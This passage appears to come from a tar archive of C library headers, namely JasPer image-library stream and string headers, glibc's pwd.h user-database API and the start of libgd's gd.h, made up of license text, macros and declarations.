PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ #ifndef JAS_INIT_H #define JAS_INIT_H /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Functions. \******************************************************************************/ JAS_DLLEXPORT int jas_init(void); JAS_DLLEXPORT void jas_cleanup(void); #ifdef __cplusplus } #endif #endif jasper/jas_stream.h 0000644 00000036156 15246445046 0010356 0 ustar 00 /* * Copyright (c) 1999-2000 Image Power, Inc. and the University of * British Columbia. * Copyright (c) 2001-2003 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * I/O Stream Class * * $Id$ */ #ifndef JAS_STREAM_H #define JAS_STREAM_H /******************************************************************************\ * Includes. \******************************************************************************/ /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include <stdio.h> #if defined(JAS_HAVE_FCNTL_H) #include <fcntl.h> #endif #include <string.h> #if defined(JAS_HAVE_UNISTD_H) #include <unistd.h> #endif #include <jasper/jas_types.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Constants. \******************************************************************************/ /* On most UNIX systems, we probably need to define O_BINARY ourselves. */ #ifndef O_BINARY #define O_BINARY 0 #endif /* * Stream open flags. */ /* The stream was opened for reading. */ #define JAS_STREAM_READ 0x0001 /* The stream was opened for writing. */ #define JAS_STREAM_WRITE 0x0002 /* The stream was opened for appending. */ #define JAS_STREAM_APPEND 0x0004 /* The stream was opened in binary mode. */ #define JAS_STREAM_BINARY 0x0008 /* The stream should be created/truncated. */ #define JAS_STREAM_CREATE 0x0010 /* * Stream buffering flags. */ /* The stream is unbuffered. */ #define JAS_STREAM_UNBUF 0x0000 /* The stream is line buffered. */ #define JAS_STREAM_LINEBUF 0x0001 /* The stream is fully buffered. */ #define JAS_STREAM_FULLBUF 0x0002 /* The buffering mode mask. */ #define JAS_STREAM_BUFMODEMASK 0x000f /* The memory associated with the buffer needs to be deallocated when the stream is destroyed. */ #define JAS_STREAM_FREEBUF 0x0008 /* The buffer is currently being used for reading. */ #define JAS_STREAM_RDBUF 0x0010 /* The buffer is currently being used for writing. */ #define JAS_STREAM_WRBUF 0x0020 /* * Stream error flags. */ /* The end-of-file has been encountered (on reading). */ #define JAS_STREAM_EOF 0x0001 /* An I/O error has been encountered on the stream. */ #define JAS_STREAM_ERR 0x0002 /* The read/write limit has been exceeded. */ #define JAS_STREAM_RWLIMIT 0x0004 /* The error mask. */ #define JAS_STREAM_ERRMASK \ (JAS_STREAM_EOF | JAS_STREAM_ERR | JAS_STREAM_RWLIMIT) /* * Other miscellaneous constants. */ /* The default buffer size (for fully-buffered operation). */ #define JAS_STREAM_BUFSIZE 8192 /* The default permission mask for file creation. */ #define JAS_STREAM_PERMS 0666 /* The maximum number of characters that can always be put back on a stream. */ #define JAS_STREAM_MAXPUTBACK 16 /******************************************************************************\ * Types. \******************************************************************************/ /* * Generic file object. */ typedef void jas_stream_obj_t; /* * Generic file object operations. */ typedef struct { /* Read characters from a file object. */ int (*read_)(jas_stream_obj_t *obj, char *buf, int cnt); /* Write characters to a file object. */ int (*write_)(jas_stream_obj_t *obj, char *buf, int cnt); /* Set the position for a file object. */ long (*seek_)(jas_stream_obj_t *obj, long offset, int origin); /* Close a file object. */ int (*close_)(jas_stream_obj_t *obj); } jas_stream_ops_t; /* * Stream object. */ typedef struct { /* The mode in which the stream was opened. */ int openmode_; /* The buffering mode. */ int bufmode_; /* The stream status. */ int flags_; /* The start of the buffer area to use for reading/writing. */ jas_uchar *bufbase_; /* The start of the buffer area excluding the extra initial space for character putback. */ jas_uchar *bufstart_; /* The buffer size. */ int bufsize_; /* The current position in the buffer. */ jas_uchar *ptr_; /* The number of characters that must be read/written before the buffer needs to be filled/flushed. */ int cnt_; /* A trivial buffer to be used for unbuffered operation. */ jas_uchar tinybuf_[JAS_STREAM_MAXPUTBACK + 1]; /* The operations for the underlying stream file object. */ jas_stream_ops_t *ops_; /* The underlying stream file object. */ jas_stream_obj_t *obj_; /* The number of characters read/written. */ long rwcnt_; /* The maximum number of characters that may be read/written. */ long rwlimit_; } jas_stream_t; /* * Regular file object. */ /* * File descriptor file object. */ typedef struct { int fd; int flags; char pathname[L_tmpnam + 1]; } jas_stream_fileobj_t; #define JAS_STREAM_FILEOBJ_DELONCLOSE 0x01 #define JAS_STREAM_FILEOBJ_NOCLOSE 0x02 /* * Memory file object. */ typedef struct { /* The data associated with this file. */ jas_uchar *buf_; /* The allocated size of the buffer for holding file data. */ size_t bufsize_; /* The length of the file. */ int_fast32_t len_; /* The seek position. */ int_fast32_t pos_; /* Is the buffer growable? */ int growable_; /* Was the buffer allocated internally? */ int myalloc_; } jas_stream_memobj_t; /******************************************************************************\ * Macros/functions for opening and closing streams. \******************************************************************************/ /* Open a file as a stream. */ JAS_DLLEXPORT jas_stream_t *jas_stream_fopen(const char *filename, const char *mode); /* Open a memory buffer as a stream. */ JAS_DLLEXPORT jas_stream_t *jas_stream_memopen(char *buf, int bufsize); /* Do not use this function. It will eventually replace jas_stream_memopen. */ JAS_DLLEXPORT jas_stream_t *jas_stream_memopen2(char *buf, size_t bufsize); /* Open a file descriptor as a stream. */ JAS_DLLEXPORT jas_stream_t *jas_stream_fdopen(int fd, const char *mode); /* Open a stdio stream as a stream. */ JAS_DLLEXPORT jas_stream_t *jas_stream_freopen(const char *path, const char *mode, FILE *fp); /* Open a temporary file as a stream. */ JAS_DLLEXPORT jas_stream_t *jas_stream_tmpfile(void); /* Close a stream. */ JAS_DLLEXPORT int jas_stream_close(jas_stream_t *stream); /******************************************************************************\ * Macros/functions for getting/setting the stream state. \******************************************************************************/ /* Get the EOF indicator for a stream. */ #define jas_stream_eof(stream) \ (((stream)->flags_ & JAS_STREAM_EOF) != 0) /* Get the error indicator for a stream. */ #define jas_stream_error(stream) \ (((stream)->flags_ & JAS_STREAM_ERR) != 0) /* Clear the error indicator for a stream. */ #define jas_stream_clearerr(stream) \ ((stream)->flags_ &= ~(JAS_STREAM_ERR | JAS_STREAM_EOF)) /* Get the read/write limit for a stream. */ #define jas_stream_getrwlimit(stream) \ (((const jas_stream_t *)(stream))->rwlimit_) /* Set the read/write limit for a stream. */ JAS_DLLEXPORT int jas_stream_setrwlimit(jas_stream_t *stream, long rwlimit); /* Get the read/write count for a stream. */ #define jas_stream_getrwcount(stream) \ (((const jas_stream_t *)(stream))->rwcnt_) /* Set the read/write count for a stream. */ JAS_DLLEXPORT long jas_stream_setrwcount(jas_stream_t *stream, long rwcnt); /******************************************************************************\ * Macros/functions for I/O. \******************************************************************************/ /* Read a character from a stream. */ #if defined(DEBUG) #define jas_stream_getc(stream) jas_stream_getc_func(stream) #else #define jas_stream_getc(stream) jas_stream_getc_macro(stream) #endif /* Write a character to a stream. */ #if defined(DEBUG) #define jas_stream_putc(stream, c) jas_stream_putc_func(stream, c) #else #define jas_stream_putc(stream, c) jas_stream_putc_macro(stream, c) #endif /* Read characters from a stream into a buffer. */ JAS_DLLEXPORT int jas_stream_read(jas_stream_t *stream, void *buf, int cnt); /* Write characters from a buffer to a stream. */ JAS_DLLEXPORT int jas_stream_write(jas_stream_t *stream, const void *buf, int cnt); /* Write formatted output to a stream. */ JAS_DLLEXPORT int jas_stream_printf(jas_stream_t *stream, const char *fmt, ...); /* Write a string to a stream. */ JAS_DLLEXPORT int jas_stream_puts(jas_stream_t *stream, const char *s); /* Read a line of input from a stream. */ JAS_DLLEXPORT char *jas_stream_gets(jas_stream_t *stream, char *buf, int bufsize); /* Look at the next character to be read from a stream without actually removing it from the stream. */ #define jas_stream_peekc(stream) \ (((stream)->cnt_ <= 0) ? jas_stream_fillbuf(stream, 0) : \ ((int)(*(stream)->ptr_))) /* Put a character back on a stream. */ JAS_DLLEXPORT int jas_stream_ungetc(jas_stream_t *stream, int c); /******************************************************************************\ * Macros/functions for getting/setting the stream position. \******************************************************************************/ /* Is it possible to seek on this stream? */ JAS_DLLEXPORT int jas_stream_isseekable(jas_stream_t *stream); /* Set the current position within the stream. */ JAS_DLLEXPORT long jas_stream_seek(jas_stream_t *stream, long offset, int origin); /* Get the current position within the stream. */ JAS_DLLEXPORT long jas_stream_tell(jas_stream_t *stream); /* Seek to the beginning of a stream. */ JAS_DLLEXPORT int jas_stream_rewind(jas_stream_t *stream); /******************************************************************************\ * Macros/functions for flushing. \******************************************************************************/ /* Flush any pending output to a stream. */ JAS_DLLEXPORT int jas_stream_flush(jas_stream_t *stream); /******************************************************************************\ * Miscellaneous macros/functions. \******************************************************************************/ /* Copy data from one stream to another. */ JAS_DLLEXPORT int jas_stream_copy(jas_stream_t *dst, jas_stream_t *src, int n); /* Display stream contents (for debugging purposes). */ JAS_DLLEXPORT int jas_stream_display(jas_stream_t *stream, FILE *fp, int n); /* Consume (i.e., discard) characters from stream. */ JAS_DLLEXPORT int jas_stream_gobble(jas_stream_t *stream, int n); /* Write a character multiple times to a stream. */ JAS_DLLEXPORT int jas_stream_pad(jas_stream_t *stream, int n, int c); /* Get the size of the file associated with the specified stream. The specified stream must be seekable. */ JAS_DLLEXPORT long jas_stream_length(jas_stream_t *stream); /******************************************************************************\ * Internal functions. \******************************************************************************/ /* The following functions are for internal use only! If you call them directly, you will die a horrible, miserable, and painful death! */ /* Read a character from a stream. */ #define jas_stream_getc_macro(stream) \ ((!((stream)->flags_ & (JAS_STREAM_ERR | JAS_STREAM_EOF | \ JAS_STREAM_RWLIMIT))) ? \ (((stream)->rwlimit_ >= 0 && (stream)->rwcnt_ >= (stream)->rwlimit_) ? \ (stream->flags_ |= JAS_STREAM_RWLIMIT, EOF) : \ jas_stream_getc2(stream)) : EOF) #define jas_stream_getc2(stream) \ ((--(stream)->cnt_ < 0) ? jas_stream_fillbuf(stream, 1) : \ (++(stream)->rwcnt_, (int)(*(stream)->ptr_++))) /* Write a character to a stream. */ #define jas_stream_putc_macro(stream, c) \ ((!((stream)->flags_ & (JAS_STREAM_ERR | JAS_STREAM_EOF | \ JAS_STREAM_RWLIMIT))) ? \ (((stream)->rwlimit_ >= 0 && (stream)->rwcnt_ >= (stream)->rwlimit_) ? \ (stream->flags_ |= JAS_STREAM_RWLIMIT, EOF) : \ jas_stream_putc2(stream, c)) : EOF) #define jas_stream_putc2(stream, c) \ (((stream)->bufmode_ |= JAS_STREAM_WRBUF, --(stream)->cnt_ < 0) ? \ jas_stream_flushbuf((stream), (jas_uchar)(c)) : \ (++(stream)->rwcnt_, (int)(*(stream)->ptr_++ = (c)))) /* These prototypes need to be here for the sake of the stream_getc and stream_putc macros. */ JAS_DLLEXPORT int jas_stream_fillbuf(jas_stream_t *stream, int getflag); JAS_DLLEXPORT int jas_stream_flushbuf(jas_stream_t *stream, int c); JAS_DLLEXPORT int jas_stream_getc_func(jas_stream_t *stream); JAS_DLLEXPORT int jas_stream_putc_func(jas_stream_t *stream, int c); #ifdef __cplusplus } #endif #endif jasper/jasper.h 0000644 00000007260 15246445046 0007504 0 ustar 00 /* * Copyright (c) 2001-2003 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ #ifndef JAS_JASPER_H #define JAS_JASPER_H /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include <jasper/jas_types.h> #include <jasper/jas_version.h> #include <jasper/jas_init.h> #include <jasper/jas_cm.h> #include <jasper/jas_icc.h> #include <jasper/jas_fix.h> #include <jasper/jas_debug.h> #include <jasper/jas_getopt.h> #include <jasper/jas_image.h> #include <jasper/jas_icc.h> #include <jasper/jas_math.h> #include <jasper/jas_malloc.h> #include <jasper/jas_seq.h> #include <jasper/jas_stream.h> #include <jasper/jas_string.h> #include <jasper/jas_tmr.h> #include <jasper/jas_tvp.h> #ifdef __cplusplus extern "C" { #endif #ifdef __cplusplus } #endif #endif jasper/jas_string.h 0000644 00000007400 15246445046 0010357 0 ustar 00 /* * Copyright (c) 1999-2000 Image Power, Inc. and the University of * British Columbia. * Copyright (c) 2001-2002 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * String Library * * $Id$ */ #ifndef JAS_STRING_H #define JAS_STRING_H /******************************************************************************\ * Includes. \******************************************************************************/ /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include <string.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Functions. \******************************************************************************/ /* Copy a string (a la strdup). */ JAS_DLLEXPORT char *jas_strdup(const char *); #ifdef __cplusplus } #endif #endif pwd.h 0000644 00000014016 15246445046 0005523 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * POSIX Standard: 9.2.2 User Database Access <pwd.h> */ #ifndef _PWD_H #define _PWD_H 1 #include <features.h> __BEGIN_DECLS #include <bits/types.h> #define __need_size_t #include <stddef.h> #if defined __USE_XOPEN || defined __USE_XOPEN2K /* The Single Unix specification says that some more types are available here. */ # ifndef __gid_t_defined typedef __gid_t gid_t; # define __gid_t_defined # endif # ifndef __uid_t_defined typedef __uid_t uid_t; # define __uid_t_defined # endif #endif /* A record in the user database. */ struct passwd { char *pw_name; /* Username. */ char *pw_passwd; /* Hashed passphrase, if shadow database not in use (see shadow.h). */ __uid_t pw_uid; /* User ID. */ __gid_t pw_gid; /* Group ID. */ char *pw_gecos; /* Real name. */ char *pw_dir; /* Home directory. */ char *pw_shell; /* Shell program. */ }; #ifdef __USE_MISC # include <bits/types/FILE.h> #endif #if defined __USE_MISC || defined __USE_XOPEN_EXTENDED /* Rewind the user database stream. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void setpwent (void); /* Close the user database stream. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void endpwent (void); /* Read an entry from the user database stream, opening it if necessary. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct passwd *getpwent (void); #endif #ifdef __USE_MISC /* Read a user database entry from STREAM. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern struct passwd *fgetpwent (FILE *__stream) __nonnull ((1)); /* Write a given user database entry onto the given stream. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int putpwent (const struct passwd *__restrict __p, FILE *__restrict __f); #endif /* Retrieve the user database entry for the given user ID. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct passwd *getpwuid (__uid_t __uid); /* Retrieve the user database entry for the given username. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct passwd *getpwnam (const char *__name) __nonnull ((1)); #ifdef __USE_POSIX # ifdef __USE_MISC /* Reasonable value for the buffer sized used in the reentrant functions below. But better use `sysconf'. */ # define NSS_BUFLEN_PASSWD 1024 # endif /* Reentrant versions of some of the functions above. PLEASE NOTE: the `getpwent_r' function is not (yet) standardized. The interface may change in later versions of this library. But the interface is designed following the principals used for the other reentrant functions so the chances are good this is what the POSIX people would choose. */ # ifdef __USE_MISC /* This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int getpwent_r (struct passwd *__restrict __resultbuf, char *__restrict __buffer, size_t __buflen, struct passwd **__restrict __result) __nonnull ((1, 2, 4)); # endif extern int getpwuid_r (__uid_t __uid, struct passwd *__restrict __resultbuf, char *__restrict __buffer, size_t __buflen, struct passwd **__restrict __result) __nonnull ((2, 3, 5)); extern int getpwnam_r (const char *__restrict __name, struct passwd *__restrict __resultbuf, char *__restrict __buffer, size_t __buflen, struct passwd **__restrict __result) __nonnull ((1, 2, 3, 5)); # ifdef __USE_MISC /* Read a user database entry from STREAM. This function is not standardized and probably never will. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int fgetpwent_r (FILE *__restrict __stream, struct passwd *__restrict __resultbuf, char *__restrict __buffer, size_t __buflen, struct passwd **__restrict __result) __nonnull ((1, 2, 3, 5)); # endif #endif /* POSIX or reentrant */ #ifdef __USE_GNU /* Write a traditional /etc/passwd line, based on the user database entry for the given UID, to BUFFER; space for BUFFER must be allocated by the caller. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int getpw (__uid_t __uid, char *__buffer); #endif __END_DECLS #endif /* pwd.h */ gd.h 0000644 00000160661 15246445046 0005333 0 ustar 00 #ifdef __cplusplus extern "C" { #endif #include <stdlib.h> #ifndef GD_H #define GD_H 1 /* Version information. This gets parsed by build scripts as well as * gcc so each #define line in this group must also be splittable on * whitespace, take the form GD_*_VERSION and contain the magical * trailing comment. */ #define GD_MAJOR_VERSION 2 /*version605b5d1778*/ #define GD_MINOR_VERSION 2 /*version605b5d1778*/ #define GD_RELEASE_VERSION 5 /*version605b5d1778*/ #define GD_EXTRA_VERSION "" /*version605b5d1778*/ /* End parsable section. */ /* The version string. This is constructed from the version number * parts above via macro abuse^Wtrickery. */ #define GDXXX_VERSION_STR(mjr, mnr, rev, ext) mjr "." mnr "." rev ext #define GDXXX_STR(s) GDXXX_SSTR(s) /* Two levels needed to expand args. */ #define GDXXX_SSTR(s) #s #define GD_VERSION_STRING \ GDXXX_VERSION_STR(GDXXX_STR(GD_MAJOR_VERSION), \ GDXXX_STR(GD_MINOR_VERSION), \ GDXXX_STR(GD_RELEASE_VERSION), \ GD_EXTRA_VERSION) /* Do the DLL dance: dllexport when building the DLL, dllimport when importing from it, nothing when not on Silly Silly Windows (tm Aardman Productions). */ /* 2.0.20: for headers */ /* 2.0.24: __stdcall also needed for Visual BASIC and other languages. This breaks ABI compatibility with previous DLL revs, but it's necessary. */ /* 2.0.29: WIN32 programmers can declare the NONDLL macro if they wish to build gd as a static library or by directly including the gd sources in a project. */ /* http://gcc.gnu.org/wiki/Visibility */ #if defined(_WIN32) || defined(CYGWIN) || defined(_WIN32_WCE) # ifdef BGDWIN32 # ifdef NONDLL # define BGD_EXPORT_DATA_PROT # else # ifdef __GNUC__ # define BGD_EXPORT_DATA_PROT __attribute__ ((dllexport)) # else # define BGD_EXPORT_DATA_PROT __declspec(dllexport) # endif # endif # else # ifdef __GNUC__ # define BGD_EXPORT_DATA_PROT __attribute__ ((dllimport)) # else # define BGD_EXPORT_DATA_PROT __declspec(dllimport) # endif # endif # define BGD_STDCALL __stdcall # define BGD_EXPORT_DATA_IMPL #else # if defined(__GNUC__) || defined(__clang__) # 